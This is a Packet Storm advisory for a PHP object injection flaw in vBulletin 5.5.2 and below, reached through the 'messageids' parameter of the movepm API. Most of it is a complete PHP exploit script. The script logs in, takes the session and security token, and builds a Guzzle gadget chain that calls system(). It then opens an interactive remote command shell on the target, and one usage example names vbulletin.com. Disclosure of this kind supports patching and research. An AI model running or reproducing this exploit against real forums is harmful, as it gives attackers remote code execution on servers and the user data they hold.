vBulletin 5.5.2 PHP Object Injection

vBulletin versions 5.5.2 and below suffers from an issue where user input passed through the "messageids" request parameter to /ajax/api/vb4_private/movepm is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope, allowing them to carry out a variety of attacks, such as executing arbitrary PHP code.

SHA-256 | 642eb80065f04eaf2d94765043c9d033ac86f7e4e3dda966ce90660dd7167e15

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<?php

/*
    --------------------------------------------------------------
    vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability
    --------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.vbulletin.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "messageids" request parameter to /ajax/api/vb4_private/movepm is
    not properly sanitized before being used in a call to the unserialize() PHP function. This can
    be exploited by malicious users to inject arbitrary PHP objects into the application scope,
    allowing them to carry out a variety of attacks, such as executing arbitrary PHP code.
    
    [-] Technical writeup:

    http://karmainsecurity.com/exploiting-an-nday-vbulletin-php-object-injection
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!\n");

print "+------------------------------------------------------------------+";
print "\n| vBulletin <= 5.5.2 (movepm) PHP Object Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";

if ($argc != 4)
{
  print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";
  print "\nExample....: php $argv[0] http://localhost/vb/ user passwd";
  print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n";
  die();
}

class googlelogin_vendor_autoload {} // fake class to include the autoloader

class GuzzleHttp_HandlerStack
{
  private $handler, $stack;
  
  function __construct($cmd)
  {
    $this->stack = [["system"]]; // the callback we want to execute
    $this->handler = $cmd; // argument for the callback
  }
}

class GuzzleHttp_Psr7_FnStream
{
  function __construct($callback)
  {
    $this->_fn_close = $callback;
  }
}

function make_popchain($cmd)
{
  $pop = new GuzzleHttp_HandlerStack($cmd);
  $pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);

  $chain = serialize([new googlelogin_vendor_autoload, $pop]);

  $chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);
  $chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);
  $chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);
  $chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);
  
  return $chain;
}

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

$ch = curl_init();

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

print "[+] Logging in with username '{$user}' and password '{$pass}'\n";

curl_setopt($ch, CURLOPT_URL, $url);

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Session ID not found!\n");

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Login failed!\n");

print "[+] Logged-in! Retrieving security token\n";

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);

if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[+] Security token not found!\n");

$params = ["routestring" => "ajax/api/vb4_private/movepm",
           "securitytoken" => $token[1],
           "folderid" => 1];

print "[+] Launching shell\n";

while(1)
{
  print "\nvb-shell# ";
  if (($cmd = trim(fgets(STDIN))) == "exit") break;
  $params["messageids"] = make_popchain($cmd);
  curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
  preg_match('/(.*){"response":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}

Source: packetstormsecurity.com